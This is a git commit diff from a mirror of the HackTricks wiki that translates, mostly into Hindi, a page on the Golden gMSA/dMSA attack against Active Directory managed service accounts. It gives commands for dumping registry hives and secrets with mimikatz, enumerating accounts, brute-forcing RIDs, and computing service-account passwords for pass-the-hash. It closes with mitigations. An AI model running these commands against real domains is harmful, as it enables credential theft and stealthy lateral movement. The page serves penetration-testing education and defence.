mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/golden-d
This commit is contained in:
parent
dc8614130b
commit
c44ca1314a
@ -1,43 +1,42 @@
|
||||
# Golden gMSA/dMSA Attack (Offline Derivation of Managed Service Account Passwords)
|
||||
# Golden gMSA/dMSA Attack (Managed Service Account Passwords का ऑफ़लाइन व्युत्पत्ति)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
## अवलोकन
|
||||
|
||||
Windows Managed Service Accounts (MSA) विशेष प्रिंसिपल होते हैं जो सेवाओं को बिना पासवर्ड को मैन्युअल रूप से प्रबंधित किए चलाने के लिए डिज़ाइन किए गए हैं।
|
||||
इसके दो प्रमुख प्रकार हैं:
|
||||
|
||||
1. **gMSA** – समूह प्रबंधित सेवा खाता – इसे उन कई होस्ट पर उपयोग किया जा सकता है जो इसके `msDS-GroupMSAMembership` विशेषता में अधिकृत हैं।
|
||||
2. **dMSA** – प्रतिनिधि प्रबंधित सेवा खाता – gMSA का (पूर्वावलोकन) उत्तराधिकारी, जो समान क्रिप्टोग्राफी पर निर्भर करता है लेकिन अधिक बारीक प्रतिनिधित्व परिदृश्यों की अनुमति देता है।
|
||||
1. **gMSA** – समूह Managed Service Account – इसे उन कई होस्ट पर उपयोग किया जा सकता है जो इसके `msDS-GroupMSAMembership` विशेषता में अधिकृत हैं।
|
||||
2. **dMSA** – प्रतिनिधि Managed Service Account – gMSA का (पूर्वावलोकन) उत्तराधिकारी, जो समान क्रिप्टोग्राफी पर निर्भर करता है लेकिन अधिक बारीक प्रतिनिधित्व परिदृश्यों की अनुमति देता है।
|
||||
|
||||
दोनों प्रकारों के लिए **पासवर्ड** प्रत्येक डोमेन कंट्रोलर (DC) पर सामान्य NT-हैश की तरह **स्टोर नहीं किया जाता** है। इसके बजाय, प्रत्येक DC **वर्तमान पासवर्ड को ऑन-द-फ्लाई** निकाल सकता है:
|
||||
दोनों प्रकारों के लिए **पासवर्ड को** प्रत्येक डोमेन कंट्रोलर (DC) पर सामान्य NT-हैश की तरह **स्टोर नहीं किया जाता**। इसके बजाय, प्रत्येक DC **वर्तमान पासवर्ड को** निम्नलिखित से ऑन-द-फ्लाई **व्युत्पन्न** कर सकता है:
|
||||
|
||||
* वन-वन **KDS रूट कुंजी** (`KRBTGT\KDS`) – यादृच्छिक रूप से उत्पन्न GUID-नामित गुप्त, जो `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` कंटेनर के तहत हर DC पर पुनः उत्पन्न होता है।
|
||||
* वन-वन **KDS रूट कुंजी** (`KRBTGT\KDS`) – यादृच्छिक रूप से उत्पन्न GUID-नामित रहस्य, जो `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` कंटेनर के तहत प्रत्येक DC पर पुनः उत्पन्न होता है।
|
||||
* लक्षित खाता **SID**।
|
||||
* एक प्रति-खाता **ManagedPasswordID** (GUID) जो `msDS-ManagedPasswordId` विशेषता में पाया जाता है।
|
||||
|
||||
निकालने की प्रक्रिया है: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 बाइट का ब्लॉब अंततः **base64-encoded** होता है और `msDS-ManagedPassword` विशेषता में स्टोर किया जाता है।
|
||||
सामान्य पासवर्ड उपयोग के दौरान कोई Kerberos ट्रैफ़िक या डोमेन इंटरैक्शन की आवश्यकता नहीं होती है – एक सदस्य होस्ट पासवर्ड को स्थानीय रूप से निकालता है जब तक कि उसे तीन इनपुट का ज्ञान हो।
|
||||
व्युत्पत्ति है: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 बाइट का ब्लॉब अंततः **base64-encoded** होता है और `msDS-ManagedPassword` विशेषता में स्टोर किया जाता है। सामान्य पासवर्ड उपयोग के दौरान कोई Kerberos ट्रैफ़िक या डोमेन इंटरैक्शन की आवश्यकता नहीं होती – एक सदस्य होस्ट पासवर्ड को स्थानीय रूप से व्युत्पन्न करता है जब तक कि उसे तीन इनपुट का ज्ञान हो।
|
||||
|
||||
## Golden gMSA / Golden dMSA Attack
|
||||
|
||||
यदि एक हमलावर सभी तीन इनपुट **ऑफलाइन** प्राप्त कर सकता है, तो वे **कोई भी gMSA/dMSA के लिए** **मान्य वर्तमान और भविष्य के पासवर्ड** की गणना कर सकते हैं बिना फिर से DC को छुए, जिससे बचते हैं:
|
||||
यदि एक हमलावर सभी तीन इनपुट **ऑफ़लाइन** प्राप्त कर सकता है, तो वे **किसी भी gMSA/dMSA के लिए** **मान्य वर्तमान और भविष्य के पासवर्ड** की गणना कर सकते हैं बिना फिर से DC को छुए, जिससे:
|
||||
|
||||
* Kerberos पूर्व-प्रमाणीकरण / टिकट अनुरोध लॉग
|
||||
* LDAP पढ़ने का ऑडिटिंग
|
||||
* पासवर्ड परिवर्तन अंतराल (वे पूर्व-गणना कर सकते हैं)
|
||||
|
||||
यह सेवा खातों के लिए *गोल्डन टिकट* के समान है।
|
||||
यह सेवा खातों के लिए *Golden Ticket* के समान है।
|
||||
|
||||
### Prerequisites
|
||||
### पूर्वापेक्षाएँ
|
||||
|
||||
1. **वन-वन स्तर का समझौता** **एक DC** (या एंटरप्राइज एडमिन)। `SYSTEM` पहुंच पर्याप्त है।
|
||||
1. **एक DC** (या एंटरप्राइज एडमिन) का **वन-वन स्तर का समझौता**, या वन-वन में DCs में से एक पर `SYSTEM` पहुंच।
|
||||
2. सेवा खातों को सूचीबद्ध करने की क्षमता (LDAP पढ़ें / RID ब्रूट-फोर्स)।
|
||||
3. .NET ≥ 4.7.2 x64 वर्कस्टेशन [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) या समकक्ष कोड चलाने के लिए।
|
||||
3. [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) या समकक्ष कोड चलाने के लिए .NET ≥ 4.7.2 x64 वर्कस्टेशन।
|
||||
|
||||
### Phase 1 – Extract the KDS Root Key
|
||||
### Golden gMSA / dMSA
|
||||
##### चरण 1 – KDS रूट कुंजी निकालें
|
||||
|
||||
Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets):
|
||||
किसी भी DC से डंप (वॉल्यूम शैडो कॉपी / कच्चे SAM+SECURITY हाइव या दूरस्थ रहस्य):
|
||||
```cmd
|
||||
reg save HKLM\SECURITY security.hive
|
||||
reg save HKLM\SYSTEM system.hive
|
||||
@ -45,16 +44,25 @@ reg save HKLM\SYSTEM system.hive
|
||||
# With mimikatz on the DC / offline
|
||||
mimikatz # lsadump::secrets
|
||||
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
||||
|
||||
# With GoldendMSA
|
||||
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
|
||||
GoldendMSA.exe kds
|
||||
|
||||
# With GoldenGMSA
|
||||
GoldenGMSA.exe kdsinfo
|
||||
```
|
||||
`RootKey` (GUID नाम) के रूप में लेबल किया गया base64 स्ट्रिंग बाद के चरणों में आवश्यक है।
|
||||
|
||||
### चरण 2 – gMSA/dMSA ऑब्जेक्ट्स की गणना करें
|
||||
##### चरण 2 – gMSA / dMSA ऑब्जेक्ट्स की गणना करें
|
||||
|
||||
कम से कम `sAMAccountName`, `objectSid` और `msDS-ManagedPasswordId` प्राप्त करें:
|
||||
```powershell
|
||||
# Authenticated or anonymous depending on ACLs
|
||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||
|
||||
GoldenGMSA.exe gmsainfo
|
||||
```
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) सहायक मोड लागू करता है:
|
||||
```powershell
|
||||
@ -64,7 +72,7 @@ GoldendMSA.exe info -d example.local -m ldap
|
||||
# RID brute force if anonymous binds are blocked
|
||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
### Phase 3 – ManagedPasswordID का अनुमान लगाना / पता लगाना (जब गायब हो)
|
||||
##### Phase 3 – ManagedPasswordID का अनुमान लगाना / पता लगाना (जब गायब हो)
|
||||
|
||||
कुछ डिप्लॉयमेंट्स `msDS-ManagedPasswordId` को ACL-संरक्षित पढ़ाई से *हटा* देते हैं।
|
||||
क्योंकि GUID 128-बिट है, साधारण ब्रूटफोर्स असंभव है, लेकिन:
|
||||
@ -72,21 +80,19 @@ GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
1. पहले **32 बिट = Unix युग समय** खाता निर्माण का (मिनटों का संकल्प)।
|
||||
2. इसके बाद 96 यादृच्छिक बिट्स।
|
||||
|
||||
इसलिए एक **संकीर्ण शब्द सूची प्रति खाता** (± कुछ घंटे) यथार्थवादी है।
|
||||
इसलिए **प्रत्येक खाते के लिए संकीर्ण शब्द सूची** (± कुछ घंटे) यथार्थवादी है।
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
यह उपकरण उम्मीदवार पासवर्ड की गणना करता है और उनके base64 blob की तुलना वास्तविक `msDS-ManagedPassword` विशेषता से करता है - मेल सही GUID को प्रकट करता है।
|
||||
यह उपकरण उम्मीदवार पासवर्ड की गणना करता है और उनके base64 blob की तुलना वास्तविक `msDS-ManagedPassword` विशेषता से करता है - मिलान सही GUID को प्रकट करता है।
|
||||
|
||||
### चरण 4 – ऑफ़लाइन पासवर्ड गणना और रूपांतरण
|
||||
##### चरण 4 – ऑफ़लाइन पासवर्ड गणना और रूपांतरण
|
||||
|
||||
एक बार जब ManagedPasswordID ज्ञात हो जाता है, तो मान्य पासवर्ड एक कमांड की दूरी पर है:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
|
||||
|
||||
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
|
||||
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
|
||||
```
|
||||
The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Rubeus** for Kerberos abuse, enabling stealth **lateral movement** and **persistence**.
|
||||
|
||||
@ -94,19 +100,21 @@ The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Ru
|
||||
|
||||
* Tier-0 प्रशासकों के लिए **DC बैकअप और रजिस्ट्री हाइव पढ़ने** की क्षमताओं को सीमित करें।
|
||||
* DCs पर **Directory Services Restore Mode (DSRM)** या **Volume Shadow Copy** निर्माण की निगरानी करें।
|
||||
* सेवा खातों के `CN=Master Root Keys,…` और `userAccountControl` ध्वजों में पढ़ने / परिवर्तनों का ऑडिट करें।
|
||||
* सेवा खातों के `CN=Master Root Keys,…` और `userAccountControl` ध्वजों के पढ़ने / परिवर्तनों का ऑडिट करें।
|
||||
* असामान्य **base64 पासवर्ड लेखन** या होस्टों के बीच अचानक सेवा पासवर्ड पुन: उपयोग का पता लगाएं।
|
||||
* जहां Tier-0 अलगाव संभव नहीं है, उच्च-विशेषाधिकार gMSAs को नियमित यादृच्छिक घुमाव के साथ **क्लासिक सेवा खातों** में परिवर्तित करने पर विचार करें।
|
||||
|
||||
## Tooling
|
||||
|
||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – इस पृष्ठ में उपयोग की गई संदर्भ कार्यान्वयन।
|
||||
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – इस पृष्ठ में उपयोग की गई संदर्भ कार्यान्वयन।
|
||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`।
|
||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – व्युत्पन्न AES कुंजियों का उपयोग करके पास-दी-टिकट।
|
||||
|
||||
## References
|
||||
|
||||
- [Golden dMSA – authentication bypass for delegated Managed Service Accounts](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [gMSA Active Directory Attacks Accounts](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||
- [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – Golden gMSA trust attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user